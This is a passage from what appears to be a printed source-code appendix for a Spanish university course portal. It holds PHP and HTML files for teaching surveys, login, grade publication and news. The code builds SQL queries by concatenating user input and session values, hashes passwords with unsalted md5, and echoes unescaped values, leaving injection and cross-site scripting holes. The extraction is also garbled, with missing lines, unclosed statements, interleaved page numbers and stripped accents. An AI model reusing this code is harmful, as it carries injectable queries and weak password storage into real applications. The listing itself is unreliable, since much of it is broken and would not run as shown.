practico el tiempo que efectivamente se requiere</p> </td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>Durante el curso realizamos el numero
suficiente de problemas</p> </td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>Se dedica a la resolucion de problemas
el tiempo que efectivamente se requiere </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>La amplitud del temario de la
asignatura es acorde con la duracion del curso </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor utiliza correctamente los
medios audiovisuales disponibles como herramientas de apoyo a la docencia </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>La bibliografia recomendada es
accesible y comprensible </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>Los examenes se ajustan a los
contenidos explicados durante el curso </p></td>";
Pg. 335

echo "<tr bgcolor=\"#ffffff\"><td><p class=t1>Usa este espacio para incluir cualquier
sugerencia o comentario que consideres interesante para mejorar la
asignatura</p></td>";
echo "<td colspan=5><textarea rows=\"6\" cols=\"60\" name=\"opinion\"
value=\"\"></textarea></td></tr>";
echo "<tr bgcolor=\"#ffffff\"><td colspan=6>";
echo "<p class=t1 align=\"center\"><input type=button value=Enviar
onClick=\"Apareceform();\">";
echo "   <input type=reset value=Borrar></p>";
echo "</table>";
echo "</td></tr></table>";
?>
<tr><td colspan=4> </td></tr> <tr> <td width="10%" align="right"><a
href="http://www.gte.us.es/~fbarrero/CSED/"><img border=0 src="../images/atras.gif"
width="17" height="16" alt=""></a></td> <td width="25%" ><font size="1"><b>Atrs</b></font></td> <td align="right"><a
href="http://www.gte.us.es/~fbarrero/CSED/"><img border=0
src="../images/hazhome[1].gif" width="26" height="26" alt=""></a></td> <td><b>Volver
al inicio</b> </td> </tr> </table>
<DIV Id="form" STYLE="position:absolute;top:600px;left:300px;
width:400px;height:100px;text-align:justify;
backgroundcolor:#ccccff;visibility:hidden" >
<table width="350" border=0 align="center" cellspacing=3 cellpadding=0> <tr><td
colspan=3> </td></tr> <tr><td colspan=3> <p class=t1>Elige el profesor al que
vas a evaluar:</p> </td></tr> <tr> <td><p class=t2><input type="radio" name="prof"
value="1"><?php echo $profesor1 ?></p></td> <td><p class=t2><input type="radio"
name="prof" value="2"><?php echo $profesor2 ?></p></td> <td><p class=t2><input
type="radio" name="prof" value="3"><?php echo $profesor3 ?></p></td> </tr> <tr><td
align="center" colspan=3>
<br><input type="submit"
value="Enviar">   </td> </tr> </form> </table><br> </DIV>
</body> </html>
2.50. /encuesta/tomadatos.php
<?php
check_privs('encuesta_r');
?>
<html> <head> <title>Encuesta.</title>
</head>

<tr> <td valign="top" width=10%>
</td>
<td align="center"> <b><font face="Arial"
color="#000000" size="4"><small><?php echo $nombre_portal; ?></small></font>
</b></td> <td valign="top" width=10%>
<p align="center"><img
</td>
</tr> </table> <hr>
<p><center><h1>Gracias por su colaboracin.</h1></center>
<p> <table width="70%" align="center">
<? if (
(!(isset($valor1)))||(!(isset($valor2)))||(!(isset($valor3)))||(!(isset($pregunta1)))
||(!(isset($pregunta2)))||(!(isset($pregunta3)))||(!(isset($pregunta4)))||(!(isset($p
regunta5)))||(!(isset($pregunta6)))||(!(isset($pregunta7)))||(!(isset($pregunta8)))||
(!(isset($pregunta9)))||(!(isset($pregunta10)))||(!(isset($pregunta11)))||(!(isset($p
regunta12)))||(!(isset($pregunta13)))||(!(isset($pregunta14)))||(!(isset($pregunta15)
))||(!(isset($pregunta16)))||(!(isset($pregunta17)))||(!(isset($pregunta18)))||(!(iss
et($pregunta19)))||(!(isset($pregunta20)))||(!(isset($pregunta21)))||(!(isset($pregun
ta22)))||(!(isset($pregunta23)))||(!(isset($pregunta24))) ){
Pg. 336
die ("Rellene todos los campos de la encuesta por favor");

}
if (($valor1+$valor2+$valor3)!=10){
die ("La suma de los valores de los bloques <b>ACTITUDES PERSONALES,COMPETENCIA
EXPOSITIVA Y ASPECTOS OBJETIVOS DE PREPARACIN</b> debe ser 10");
}
die ("Por favor, seleccione profesor");
}
if ($prof < 1 || $prof > 3) {
die ("Profesor incorrecto");
}
/***************************/
/* PROGRAMA> tomadatos.php */
/***************************/
/***********************************/
/***********************************/
$f = conectar();
/* Comprobamos en primer lugar que el usario no ha rellenado ya la encuesta */
$conexion = mysql_select_db ($db_usuarios, $f) or die ("Fallo al conectar con db de
users");
$res = mysql_query("SELECT encuesta".$prof." from permisos WHERE
user='".$_SESSION['user']."'",$f);
$done = mysql_result($res, 0, 0);
if ($done) {
die ("Lo sentimos, pero el usuario solo puede responder a la encuesta una sola vez.
Gracias.");
}
$conexion = mysql_select_db ($base, $f) or die ("No puedo conectar con la base de
$sql = "INSERT INTO bloque1_prof".$prof." VALUES
('','$valor1','$pregunta1','$pregunta2', '$pregunta3', '$pregunta4', '$pregunta5',
'$pregunta6','$pregunta7', '$pregunta8')";
mysql_query ($sql, $f) or die ("Fallo en la toma de datos 1.");
/* Creamos la sentencia sql */
$sql = "INSERT INTO bloque2_prof".$prof." VALUES ('', '$valor2',
'$pregunta9','$pregunta10', '$pregunta11', '$pregunta12', '$pregunta13',
'$pregunta14','$pregunta15', '$pregunta16')";
/* Creamos la sentencia sql */
$fecha = date("Y-m-d");
$sql = "INSERT INTO bloque3_prof".$prof." VALUES ('', '$valor3',
'$pregunta17','$pregunta18', '$pregunta19', '$pregunta20', '$pregunta21',
'$pregunta22','$pregunta23', '$pregunta24', '$fecha')";
if ($opinion){
$sql="INSERT INTO opinion_prof".$prof." VALUES ('','$opinion')";
mysql_query ($sql, $f) or die ("Fallo en la toma de opinion.");
}
/* Marcamos al usuario como q ha realizado la encuesta */
$conexion = mysql_select_db ($db_usuarios, $f) or die ("Fallo al conectar con db de
users");
$sql = "UPDATE permisos SET encuesta".$prof."=1 WHERE user='".$_SESSION['user']."'";
Pg. 337
mysql_query($sql ,$f) or die ("Fallo al marcar encuesta hecha en los permisos de

usuario");
mysql_close ($f);
?>
<tr> <td> <b> Los datos que usted nos ha proporcionado han sido convenientemente
almacenados para un posterior tratamiento estadstico sin que haya quedado constancia
de su identificacin. Muchas gracias.</b> </td> </tr> </table> <table width="100%"
border="0" cellspacing="2" cellpadding="2"> <tr><td colspan=4> </td></tr> <tr>
<td width="10%" align="right"><a href="./encuesta.php"><img border=0
src="../images/atras.gif" width="17" height="16" alt=""></a></td> <td width="25%"
><font size="-1"><b>Atrs</b></font></td> <td align="right"><a
src="../images/hazhome[1].gif" width="26" height="26" alt=""></a></td> <td><b>Volver
al inicio</b> </td> </tr> </table> </body> </html>
2.51. /login/login.php
<?php
// El fichero ser llamado desde un "include" y necesitamos diversas variables que se
// definieron en el script llamante. Para que sean accesibles aqu, las declaramos
"global".
global $PHP_SELF, $portal, $db_usuarios, $username, $password, $enviar;
if (isset($enviar)) {
/*************************/
/** Procesar formulario **/
/*************************/
require_once ('../config/config.php');
conectar();
// Nos aseguramos de que no hay caracteres "raros" en $username
if (!filtro_alfanumerico($username)) {
$hash_password = md5($password);
$result = mysql_query("select * from cuentas where user = '$username' and pass =
'$hash_password'");
if (mysql_numrows($result) == 1) {
$cuenta = mysql_fetch_array($result);
// Leemos los permisos del usuario asociado
$result = mysql_query("select * from permisos where user = '$username'");
if (mysql_numrows($result) != 1) {
die ("ERROR: Inconsistencia en la base de datos de usuarios: no encuentro los
datos de permisos para el usuario dado. Contacte con el administrador.");
}
// Construimos el array de permisos leyendo directamente la tabla de permisos y
quitando
// el campo "user", que realmente no es un permiso (sino el ndice de la tabla)
$permisos = mysql_fetch_assoc($result);
unset ($permisos['user']);
// Guardamos los datos del usuario en variables de sesin
session_start();
$_SESSION['portal'] = $portal;
$_SESSION['user'] = $cuenta['user'];
$_SESSION['realname'] = $cuenta['realname'];
$_SESSION['permisos'] = $permisos;
header ("Location: $PHP_SELF");
// Recargamos la pgina
Pg. 338
exit;
cdigo por debajo
}
// Nos aseguramos de que no se ejecute
}
// Si la autentificacin tuvo xito terminamos en el "exit" anterior y no llegamos a
este punto.
// En caso contrario mostraremos el formulario.
/*************************/
/** Formulario de LOGIN **/
/*************************/
// Por si acaso queda alguna sesin "viva", borramos las posibles variables
existentes
session_start();
session_unset();
?>
<html>
<head>
<title> Identificación de usuario</title>
</head>
<body background="../images/fondo_err.jpg">
<style type="text/css">
a:link{color: #004433; text-decoration: underline;}
a:visited{color: #004433; text-decoration: underline;}
a:active{color: #004433; text-decoration: underline;}
a:hover{color: #004433; text-decoration: underline;}
body{font-family: Verdana; font-size: 8pt; background: <?php echo
$GLOBALS['colorbg']; ?>; color: #004433;}
td,p{font-family: Verdana; font-size: 8pt;}
textarea,select,input{background:#99ccaf; color: #004433; FONT-FAMILY:
Verdana; FONT-SIZE: 10px; BORDER-BOTTOM: 1px #007f40 solid; BORDER-LEFT: 1px #007f40
solid; BORDER-RIGHT: 1px #007f40 solid; border-top: 1px #007f40 solid;}
.border{background: #007f40;}
.main{background: #99ccaf;}
.child{background: #80a3c5;}
</style>
<br><br>
<table width="75%" class=border cellspacing="1" cellpadding="0" align="center">
<tr>
<td align="center" class=main height="31">
<table width="100%" border="0">
<tr>
<td width="16%"><font color="99ccaf"><center><b><img
src="../images/gte_small_ani.gif"></b></center></font></td>
<td align="center"><font color="000000"><b>Identificación de
usuario</b></font></td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center" class=main height="97">
<tr>
<td height="296" width="2%" bgcolor="#99ccaf"> </td>
<td height="296" width="98%">
<p align="center">
<?php
if (isset($GLOBALS['badlogin'])) {
Pg. 339
echo "<i>¡Login incorrecto!</i>";

} else {
echo " ";
}
?>
</p>
<p align="center">
Necesita estar autentificado para acceder a este servicio.
Por favor, identifíquese a continuacin.
</p><br>
<form action=<?php echo $PHP_SELF ?> method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0"
height="109">
<tr>
<td align="right" width="50%" valign="middle"
height="32">Usuario: <br>
</td>
<td width="50%" valign="middle" height="32">
<input type="text" name="username" maxlength="16">
<br>
</td>
</tr>
<tr>
<td align="right" width="50%"
height="10">Contraseña:
</td>
<td width="50%" height="10">
<input type="password" name="password" maxlength="16">
</td>
<input type="hidden" name="badlogin" value="1">
</tr>
<tr align="center">
<td colspan="2" height="48"> <br>
<input type="submit" name="enviar" value="Login">
<br>
</td>
</tr>
</table>
</div>
</form>
Si has olvidado tu contrasea, ponte en contacto con el <a href=<?php
echo "mailto:".$GLOBALS['webmaster']; ?>>Webmaster</a>.
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
<tr>
</tr>
<tr>
<td width="50%" align="right"><a
</tr>
</table>
</body>
</html>
Pg. 340
2.52. /msg/err_db_connection.html
<head>
<title>ERROR: Fallo al conectar con la base de datos</title>
</head>
<body background="../images/fondo_err.jpg">
<h1 align="center"><font color="#FF0000">ERROR: Fallo al conectar con la base de
datos.</font></h1>
<hr>
<p> </p>
<p style="line-height: 200%">    Este error puede ser debido a una de
las siguientes
razones:</p>
<ol>
<li>La base de datos est caida. Por favor, reintntelo ms tarde. En caso de
persistir el error
pngase en contacto con el Administrador.<br>
</li>
</ol>
<p> </p>
<hr>
2.53. /msg/err_noprivs.php
<html>
<head>
<title>ERROR: No tiene privilegios suficientes.</title>
<style>
A:link,
A:active,
</style>
</head>
<body bgcolor=<?php echo $GLOBALS['colorbg']; ?> text="#000000" link="#004433"
vlink="#004433" alink="#004433">
<tr>
</td>
echo $GLOBALS['nombre_portal']; ?></small></font> </b></td>
</td>
</tr>
</table>
Pg. 341
<hr>
<p>
<tr>
bgcolor="#99CCAF">
<tr>
<td> </td>
</tr>
<tr>
<td width="49%">
<p class="t1">Lo sentimos pero no tiene suficientes privilegios para
acceder a este servicio.</p>
</div>
</td>
</tr>
<tr>
<td> </td>
</tr>
</table>
</td>
</tr>
</table>
<br><br>
<?php
if (isset($_SESSION['user'])) {
?>
<h4 align="center">Actualmente se encuentra autentificado como usuario "<?php
echo $_SESSION['user']; ?>".</h4>
<?php
}
?>
<h4 align="center">Si lo desea, puede iniciar una <a href=<?php echo
$GLOBALS['PHP_SELF']."?relogin=1"; ?> target="_top">nueva sesión</a>
y cambiar de identidad.</h4>
<?php
?>
</body>
</html>
2.54. /notas/notas.php
<?php
check_privs('notas_r');
if ($notas_publicadas == 0) {
include ("notas_np.php");
exit;
}
?>
<html>
Pg. 342
<head>
<title>Notas.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<tr><td bgcolor=<?php echo $colorbg; ?>>
<?
$base = $db_notas;
$id = conectar();
datos $base. ");
echo "<tr bgcolor=<$colorbg><td colspan=2 bgcolor=$colorbg><table width=100%
cellpadding=0 cellspacing=0><tr bgcolor=$colorbg>";
$sql="SELECT * from datos";
$res=mysql_query($sql,$id) or die ("Fallo al tomar datos examen");
$valor=mysql_result($res,0,0);
print ("<td align=\"left\" width=\"25%\" bgcolor=$colorbg><p
class=t2>Curso:$valor</p></td>");
print ("<td align=\"center\" width=\"35%\" bgcolor=$colorbg><p
class=t2>Convocatoria:$valor</p></td>");
print ("<td bgcolor=$colorbg width=\"40%\" align=\"right\"><p class=t2>Fecha de
publicacin:$valor</p></td></tr><tr bgcolor=$colorbg><td> </td></tr></table>");
echo "<tr bgcolor=$colorbg><td bgcolor=$colorbg colspan=2><p
class=t1 align=\"justify\">Las notas aqu publicadas tienen carcter provisional y
meramente
informativo. Las definitivas sern publicadas en el tabln de anuncios del
Departamento de Ingeniera Electrnica</p></td></tr>";
echo "<tr bgcolor=$colorbg><td bgcolor=$colorbg
colspan=2> </td></tr>";
$sql ="SELECT alumno,nota FROM notas";
for ($i=0;$i<$n;$i++)
{
$valor = mysql_result($res,$i,0);
echo "<tr bgcolor=$colorbg><td bgcolor=$colorbg><p class=t2>$valor</p></td>\n";
print ("<td bgcolor=$colorbg><p class=t1>$valor</p></td>\n");
}
mysql_close($id);
?>
</table>
Pg. 343
</td></tr></table>
<tr>
</tr>
</table>
</BODY>
</HTML>
2.55. /notas/notas_np.php
<?php
require_once('../config/config.php');
check_privs('notas_r');
?>
<!doctype html public "-//w3c//dtd html 3.2//en">
<html>
<head> <title>Notas</title>
<meta name="GENERATOR" content="Arachnophilia 4.0">
<meta name="FORMATTER" content="Arachnophilia 4.0">
</head>
<body bgcolor=<?php echo $colorbg; ?> text="#000000" link=<?php echo $colorbg; ?>
vlink=<?php echo $colorbg; ?> alink="#ff0000">
<tr>
<td valign="top">
<p align="center"> <img src="../images/gte_small_ani.gif" alt="Grupo de Tecnologa
Electrnica">
</td>
<td bgcolor=<?php echo $colorbg; ?>> <b><font face="Arial" color="#006666" size="3">
<small><?php echo $nombre_portal; ?></small></font> </b></td>
</tr>
</table>
<hr>
<b><h1><center>Aún no hay notas disponibles. </center></h1></b>
<table align="center" border=0>
<tr><td valign="top"><p align="center" class=t4>Volver al Inicio</td></tr>
<tr><td valign="bottom" align="center"><a
href="http://www.gte.us.es/~fbarrero/CSED/">
<img src="../images/hazhome[1].gif" border=0></a></p></td> </tr>
</table> </td></tr></table> </body> </html>
2.56. /noticias/consultanoticias.php
<?php
?>
<html>
<head>
<title>Consulta de noticias.</title>
<style>
Pg. 344
</style>
</head>
<body bgcolor="#99cccc">
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h1 align="center">Tabln de noticias</h1>
<h2 align="center">Comentarios</h2>
cellpadding="1">
<tr>
<table bgcolor="#007f40" width="100%" border=0 cellpadding=1 cellspacing=1
align="center">
<td width="50% align="center"><p class=t1>Noticia</p></td>
<td width="50%" align="center"><p class=t1>Comentario</p></td></tr>
<?
/************************************************/
/************************************************/
$id = conectar();
$conexion = mysql_select_db ($base, $id) OR die ("No puedo conectar conla base de
$cons = "SELECT id FROM noticias";
for ($i=0; $i<$k; $i++){
$name = "caja".$i;
if (!(isset(${$name}))) {
continue;
}
$kk=${$name};
filtro_numerico($kk);
if ($kk){
$cons = "SELECT noticia,comentario FROM noticias WHERE id='$kk'";
echo "<tr bgcolor=\"#88ddaa\">\n<td><p class=t1>$valor</p></td>\n";
echo "<td><p class=t1>$valor</p></td>\n</tr>";
}
}
mysql_free_result ($res);
mysql_close ($id);
?>
</table>
</td></tr>
</table>
Pg. 345

<tr>
<td width="10%" align="right"><a href="noticias.php"><img border=0
</tr>
</table>
</body>
</html>
2.57. /noticias/noticias.php
<?php
?>
<html>
<head>
<title>Tabla de noticias.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h1 align="center">Tabln de noticias</h1>
<form action="consultanoticias.php" method="post">
cellpadding="1">
<tr>
<td bgcolor=<?php echo $colorbg; ?>>
<table width="100%" bgcolor="#007f40" border=0 cellpadding=1 cellspacing=1
align="center">
<tr bgcolor=<?php echo $colorbg; ?>>
<td width="5%"> </td>
<td align="center"><p class=t1>Noticia</p></td>
<td width="20%" align="center"><p class=t1>Fecha</p></td></tr>
<?
/**************** funcin tablanoticias_db ****************/
/* Muestra una tabla con todas las dudas almacenadas
*/
/* en la base de datos.
*/
/* $f conexin*/
Pg. 346
/****************************************************/
function tablanoticias_db ($f){
global $colorbg;
$cons = "SELECT id,noticia,fecha FROM noticias ";
$res = mysql_query ($cons, $f) OR die ("Fallo en la respuesta.");
for ($i=0; $i<$k; $i++){
$numid = mysql_result($res, $i, 0);
$name = "caja".$i;
echo "<tr bgcolor=$colorbg>\n<td><p class=t1><input type=checkbox name=\"$name\"
value=\"$numid\"></td>\n<td><p class=t1>$valor</p></td>\n";
echo "<td valign=\"middle\"><p class=t1>\"$valor\"</p></td>\n</tr>\n";
}
}
?>
<?
/************************************************/
/************************************************/
$id = conectar();
datos $base. ");
tablanoticias_db($id);
mysql_close ($id);
?>
<tr height="60px" bgcolor=<?php echo $colorbg; ?>><td colspan=3><p
align="center"><input type=submit value=Consultar>   <input type=reset
value=Borrar></td></tr>
</table>
</td></tr></table>
</form>
<br><br>
<tr>
</tr>
</table>
</body>
</html>
2.58. /index.html
<!doctype html public "-//w3c//dtd html 3.2//en"><html>
<head profile="http://www.gte.us.es/~fbarrero/CSED/">
<meta name="title" content="Complementos de Sistemas Electrnicos Digitales">
<meta name="author" content="Jos Miguel Ruiz">
<link rev="made" href="mailto:fbarrero@gte.esi.us.es">
<meta name="keywords" content="electronica, docencia, enseanza, sistemas,
, DSP, universidad, ingenieria, complementos, digitales, electronicos">
<meta name="description" content="Portal de Internet de la asignatura
Pg. 347
Complementos de Sistemas Electrnicos Digitales, impartida en tercer curso

de Ingeniera de Telecomunicacin por el profesor Federico Barrero Garca">
<meta name="VW96.objecttype" conten="Document">
<meta http-equiv="Content-type" content="text/html; charset=ISO-88559-1">
<meta name="DC.Language" scheme="RFC1766" content="espaol">
<meta name="distribution" content="global">
<meta name="resource-type" content="Document">
<meta http-equiv="Pragma" content="cache">
<meta name="Revisit" content="2 days">
<meta name="robots" content="all">
</head>
<head> <title>Complementos de Sistemas Electrónicos Digitales</title>
<STYLE TYPE="text/css">
BODY{scrollbar-3d-light-color: #FF9933; scrollbar-arrow-color: Black; scrollbar-basecolor: Black; scrollbar-dark-shadow-color: #367CC2; scrollbar-face-color: #5894D0;
scrollbar-highlight-color: ThreedLightShadow; scrollbar-shadow-color:
InactiveCaption}A:link {COLOR: black; FONT-FAMILY: times new roman; FONT-SIZE: 11pt;
TEXT-DECORATION: none}TD {COLOR: black; FONT-FAMILY: times new roman; FONT-SIZE:
11pt}A {COLOR: black; FONT-FAMILY: times new roman; FONT-SIZE: 11pt}A:hover
{BACKGROUND-COLOR: #ffffdd; COLOR: red; FONT-FAMILY: times new roman; TEXTDECORATION: none}A:active {COLOR: #0E0B76; FONT-FAMILY: times new roman; TEXTDECORATION: none}A:visited {FONT-FAMILY: times new roman; TEXT-DECORATION: none}
LI {COLOR: black; FONT-FAMILY: times new roman; FONT-SIZE: 11pt; TEXT-DECORATION:
none}TD {COLOR: black; FONT-FAMILY: times new roman; FONT-SIZE: 11pt}
P {COLOR: black; FONT-FAMILY: times new roman; FONT-SIZE: 8pt; TEXT-DECORATION: none}
<!-#ayuda {POSITION: absolute; VISIBILITY: hidden; TOP: 200px; LEFT: 445px; Z-INDEX: 1;}
#ayuda2 {POSITION: absolute; VISIBILITY: hidden; TOP: 200px; LEFT: 445px; Z-INDEX:
1;}
1;}
1;}
1;}
1;}
1;}
1;}
//-->
</style>
<script language=Javascript>
function muestra(capa) {
if (navigator.appName == "Netscape") {
document.capa.visibility="visible";
}
else {
document.all[capa].style.visibility="visible";
}
}
function oculta(capa) {
if (navigator.appName == "Netscape") {
document.capa.visibility="hidden";
}
else {
document.all[capa].style.visibility="hidden";
}
}
</script>
</head>
<body bgcolor="#99CCCC" text="#000000" link="#0000ff" vlink="#800080"
alink="#ff0000"><table border="0" width="100%" height="80"> <tr>
Pg. 348
<td valign="top" width="17%" align="center" height="68">

<p><img
src="images/gte_small_ani.gif" alt="Grupo de Tecnologa Electrnica"
width="40" height="40"></p>
<h5 align="center">Grupo de
Tecnología Electrónica</h5>
</td>
<td bgcolor="#99CCCC"
width="68%" height="68">
<h2 align="center">Complementos de Sistemas
Electrónicos Digitales</h2>
<hr>
</td>
<td valign="top" width="13%"
height="68">
<h6 align="center"> <img src="images/esiani.gif" alt="Escuela
Superior de Ingenieros"></h6>
<h5 align="center">Escuela Superior de
Ingenieros</h5>
</td>
</tr></table><center><img src="images/Gr468_32.jpg"
width="90%" height="14" align="center"></center> <br><table bgcolor="#99CCCC"
height="357" width="100%" border="0"> <tr align="center" valign="middle">
<td
width="35%" height="353"> <form name="miform">
<table border="0"
bgcolor="#99CCCC" height="353" >
<tr align="center">
<td ><input
type="image" src="images/esivol.gif" width="31" height="31"
onMouseOver="muestra('ayuda');" onMouseOut="oculta('ayuda');"> </td>
<td >
<a href="info.html"> <b> Informacin general de
la asignatura. </b> </a>
</td>
</tr>
<tr align="center">
<td ><input type="image"
src="images/book4.gif" width="31" height="31" onMouseOver="muestra('ayuda2');"
onMouseOut="oculta('ayuda2');"></td>
<td > <a
href="temario.html" > <b> Acceso al temario. </b>
</a> </td>
</tr>
<tr align="center">
src="images/dados.gif" width="31" height="31" onMouseOver="muestra('ayuda3');"
<td > <b> <a
href="http://www.gte.us.es/fbarrero/csed/autoevaluacion/autoevaluacion.php">Sistema
de autoevaluacin.</a>
</b> </td>
</tr>
<tr
align="center">
<td ><input type="image" src="images/dudas.gif"
width="31" height="31" onMouseOver="muestra('ayuda4');"
<td > <a
href="http://www.gte.us.es/fbarrero/csed/dudas/tabladudas.php"> <b> Tabln de
dudas. <br>(F.A.Q.)
</b> </a> </td>
</tr>
<tr
align="center">
<td ><input type="image" src="images/exam.gif"
width="31" height="31" onMouseOver="muestra('ayuda5');"
<td > <a
href="http://www.gte.us.es/fbarrero/csed/notas/notas.php"><b>Publicacin
de notas. </b> </a> </td>
</tr>
<tr align="center">
src="images/encuesta.gif" width="31" height="31" onMouseOver="muestra('ayuda6');"
<td > <b> <a href="http://www.gte.us.es/fbarrero/csed/encuesta/encuesta.php">Encuesta
de calidad.</a>
</b> </td>
</tr>
<tr align="center">
<td ><input type="image" src="images/glob_anm.gif" width="31" height="31"
onMouseOver="muestra('ayuda7');" onMouseOut="oculta('ayuda7');"></td>
<td >
<a href="http://www.gte.us.es/fbarrero/csed/noticias/noticias.php"> <b>
Noticias.</b></a> </td>
</tr>
<tr align="center">
src="images/admin_services.gif" width="31" height="31"
onMouseOver="muestra('ayuda8');" onMouseOut="oculta('ayuda8');"></td>
<td >
<a href="http://www.gte.us.es/fbarrero/csed/admin/"> <b>Herramientas
administrativas.</b></a> </td>
</tr>
</table></form>
</td>
<td width="65%" height="353" valign="middle">
<div
align="center"><img src="images/dsp.jpg" width="440" height="300" alt=""
align="absmiddle">
</div>
</td></table><p align="center" >Esta pgina est
optimizada para ser visualizada con el navegador de Microsoft IE 4.0 superiores, y
una resolucin de 1024x768<br><br><DIV Id="ayuda"
STYLE="width:450px;height:302px;textalign:justify;
background-color:#ccccff;">
<table align="center" width=90% cellpadding=2 cellspacing=3>
<tr><td align="center"><br><u><b>Ayuda</b></u><br></td></tr>
<tr><td><br>Aqu encontrar informacin referente a la asignatura en general, es
decir:
<ul>
<li>Profesorado</li>
<li> Ubicación del profesorado</li>
<li>Reseña metodológica.</li>
<li>Programa de la asignatura.</li>
<li>Evaluación y calificación.</li>
<li>Bibliogafía.</li></ul>
</td></tr>
Pg. 349
</table>
</DIV>
<DIV Id="ayuda2" STYLE="width:450px;height:302px;text-align:justify;backgroundcolor:#119900;" >
<tr><td><br>  En esta seción encontrar un sistema de acceso al
temario completo de la asignatura en formato web. El sistema de navegacin est
diseado para que el acceso a cada apartado sea similar al utilizado en el sistema de
archivos de Windows. Pulsando sobre una carpeta cerrada, sta se abre y podemos
acceder a su contenido.<br>
  As mismo, desde esta pgina podr acceder a una zona de descarga de
apuntes en la que encontrar los apuntes de cada tema en formato PDF.
</td></tr>
</table>
</DIV>
<DIV Id="ayuda3" STYLE="width:450px;height:302px;text-align:justify;backgroundcolor:#44cc44;">
<tr><td><br>  Esta seccin le permitir acceder a la realizacin de un
pequeo test de seis preguntas en el que podr usted responder a cuestiones de la
asignatura y poner a prueba sus conocimientos relativos al temario de la
misma.</td></tr>
</table>
</DIV>
<DIV Id="ayuda4" STYLE="width:450px;height:302px;text-align:justify;
background-color:#ccffcc;" >
<tr><td><br>  Desde esta pgina, tendr acceso a una base de datos en la
que se irn respondiendo las dudas que con ms frecuencia tengan los alumnos sobre
conceptos de la asignatura.<br>   Tambin se le ofrece la posibilidad de
realizar consultas va e-mail, si no encuentra su duda entre las
publicadas.</td></tr>
</table>
</DIV>
background-color:#007f40;" >
<tr><td><br>  Aqu podr usted ver publicadas las notas de la asignatura.
Se recuerda el carcter meramente informativo de lo publicado en esta
pgina.</td></tr>
</table>
</DIV>
background-color:#ccee00;" >
<tr><td><br>  Esta seccin contiene una encuesta sobre la calidad de la
enseanza de la asignatura. El acceso a la realizacin de la misma est restringido a
alumnos matriculados en esta asignatura. Para acceder deber usted introducir su
apellido y D.N.I., pero estos datos slo sern utilizados para verificar su identidad
y asegurar que slo accede una vez a la encuesta. Una vez certificado que tiene
acceso, sus datos son eliminados y no queda ningn registro de los mismos. Se ruega
que conteste con la mayor sinceridad posible, ya que los resultados sern analizados
con el objetivo de tratar de mejorar la calidad de la asignatura.</td></tr>
</table>
</DIV>
background-color:#33ff44;" >
<tr><td><br>Aqu aparecer toda la informacin que de alguna forma pueda ser
considerada una noticia :<ul> <li> Conferencias
<li> Seminarios
<li>
Convocatorias a examen <li> Convocatorias a oposiciones
<li> Fechas de publicacin
de notas
<li> Fecha de entrega de prcticas</ul></td></tr>
</table>
Pg. 350
</DIV>
background-color:#335588;" >
<tr><td><br>  Acceda a esta seccin para llevar a cabo diversas tareas
administrativas (cambio de contrasea, etc).</td></tr>
</table>
</DIV>
</body></html>
2.59. /temario.html
<!doctype html public "-//w3c//dtd html 3.2//en">
<html>
<head>
<title>
Temario
</title>
<style>
BODY
{
scrollbar-3d-light-color: #FF9933; scrollbar-arrow-color: Black; scrollbar-basecolor: Black; scrollbar-dark-shadow-color: #367CC2; scrollbar-face-color: #5894D0;
scrollbar-highlight-color: ThreedLightShadow; scrollbar-shadow-color: InactiveCaption
}
A:link {
COLOR: black; FONT-FAMILY: times new roman; FONT-SIZE: 11pt; TEXT-DECORATION: none
}
TD {
COLOR: black; FONT-FAMILY: times new roman; FONT-SIZE: 11pt
}
A {
COLOR: black; FONT-FAMILY: times new roman; FONT-SIZE: 11pt
}
A:hover {
BACKGROUND-COLOR: #99ccff; COLOR: blue; FONT-FAMILY: times new roman; TEXTDECORATION: none
}
A:active {
COLOR: #0E0B76; FONT-FAMILY: times new roman; TEXT-DECORATION: none
}
A:visited {
FONT-FAMILY: times new roman; TEXT-DECORATION: none
}
</style>
<SCRIPT LANGUAGE="JavaScript">
// **funciones que establecen objetos y entorno**
// constructor del array basico
function makeArray(n) {
this.length = n
return this
}
// constructor de objeto para cada entrada
// (see object-building calls, below)
function dbRecord(mother,display,URL,indent){
this.mother = mother
// is this item a parent?
this.display = display // text to display
this.URL = URL
// link tied to text
this.indent = indent
// how deeply nested?
Pg. 351
return this
}
// create object containing outline content and attributes
// To adapt outline for your use, modify this table. Make sure
// that the size of the array (db[i]) is reflected in the call
// to makeArray(i). See the dbRecord() function, above, for the
// meaning of the four parameters in each array entry.
var db = new makeArray(39)
db[1] = new dbRecord(true, "TEMA 1. INTRODUCCIN A LOS PROCESADORES DIGITALES DE
SEAL (DSPs). CONCEPTOS BSICOS.","tema1/tema1.html",0)
db[2] = new dbRecord(false, "1 Introduccin e historia.","tema1/punto1.html",1)
db[3] = new dbRecord(false, "2 Principales aplicaciones de los
DSPs.","tema1/punto2.html",1)
db[4] = new dbRecord(false, "3 Estructura interna basica de un
DSP.","tema1/punto3.html",1)
db[5] = new dbRecord(false, "4 Principales fabricantes de
DSPs.","tema1/punto4.html",1)
db[6] = new dbRecord(true, "TEMA 2. FAMILIA DE DSPs TMS320C3x DE TEXAS INSTRUMENTS.
CONCEPTOS BSICOS DEL HARDWARE.","tema2/tema2.html",0)
db[7] = new dbRecord(false, "1 Introduccion.","tema2/punto1.htm",1)
db[8] = new dbRecord(false, "2 Descripcion general del
sistema.","tema2/punto2.htm",1)
db[9] = new dbRecord(true, "3 Unidad central de control de procesos
(CPU).","tema2/punto3.htm",1)
db[10] = new dbRecord(false,"3.1 Registros internos de la CPU.","tema2/punto31.htm",2)
db[11] = new dbRecord(false, "4 Operaciones internas del bus.","tema2/punto4.htm",1)
db[12] = new dbRecord(true, "5 Organizacion de la memoria.","tema2/punto5.htm",1)
